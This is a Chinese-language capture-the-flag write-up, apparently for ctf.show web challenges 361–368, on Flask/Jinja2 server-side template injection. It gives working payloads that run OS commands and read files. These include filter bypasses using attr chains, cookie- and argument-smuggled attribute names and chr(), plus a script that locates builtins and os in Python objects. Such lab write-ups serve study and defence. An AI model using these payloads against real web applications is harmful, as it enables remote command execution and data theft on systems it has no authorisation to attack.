模板
1
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}
{% endif %}
{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}
{% endif %}
{% endfor %}
2
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
web361
题目给了提示 名字即是考点
于是 /?name={{2*2}}
发现存在ssti漏洞
ls …/ 看一下上层目录
发现flag 进入flag cat …/flag 即可获取flag
ssti的fuzz
建立一个字典 用bp取爆破攻击一下 即可
web363
fuzz一下发现过滤了 ’ 和 "
过滤 _ 和引号可以用 |attr 绕过
request.args 是flask中的一个属性、为返回请求的参数、这里把path当作变量名、将后面的路径传值进来、进而绕过了引号的过滤
flask框架中提供有请求上下文request,其中有用于GET请求获取参数的args方法和用于POST请求获取参数的form方法。
关于浏览器的GET请求方式:浏览器的get请求方式会将参数以明文的方式放到请求地址栏中,如:http://127.0.0.1:5000/?name=hua 该请求中问好后面的name=hua即为参数,以键值对的形式,flask框架中的请求上下文request获取get方式的请求参数,即获取该键值对。当浏览器以post方式请求时,若请求地址栏也有参数也可以通过request.args.get(键) 方式获取。所以args只获取地址栏中参数 ,不分get请求方式还是post请求方式。
先找到chr 用chr代替" 解锁新方式
{%%20set%20chr=url_for.__globals__.__builtins__.chr%20%}{{url_for.__globals__.os.popen(chr(34)%2bchr(108)%2bchr(115)%2bchr(34)).read()}}
也可以用 request.cookies.a
http://1508ce15-a44a-4507-b454-7c603b9d2e32.challenge.ctf.show:8080/?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
web366
fuzz一下发现过滤了
emmmm
" 和 ’ 之前已经处理过了
现在要处理一下 [ 和 _
过滤[] 可以用
__getitem__()
pop()
过滤_
{{()|attr(request.values.a)}}&a=class
感觉跟做脑筋急转弯一样 越来越离谱了
http://68b37ad8-1b75-430b-b3e7-0fdde4b05f8f.challenge.ctf.show:8080/?name={%set gl=config|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)%}{{gl.os.popen(request.cookies.d).read()}}
Cookies:a=__class__;b=__init__;c=__globals__;d=cat /flag
web367
把os禁了
略改一下下
http://c1084b64-f474-4653-b2b5-60f04cd808c7.challenge.ctf.show:8080/?name={%set gl=config|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)%}{{gl.get(request.cookies.v).popen(request.cookies.d).read()}}
Cookies:a=__class__;b=__init__;c=__globals__;d=cat /flag;v=os
web368
fuzz一下 妈耶 好像把什么都ban了???震惊
后来试了试 只是ban了{{}}
哦 那没事了
走了一条老路 但是貌似被删了
{%set su=(()|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c)())%}{%print(su)%}
a=__class__;b=__base__;c=__subclasses__
config没被ban 走config这条路试试
考。。可以走通。。。超过两个 attr 要加 ()
copy 大佬一个脚本 来改改
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
#print(obj) Enumerates the objects traversed
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
try:
attr = getattr(obj, name)
except:
continue
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
num = 0
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if item.__init__.__globals__.keys():
for path, obj in search(item,5):
if obj in ('__builtins__','os','eval'):
print('[+] ',item,num,path)
num+=1
except:
num+=1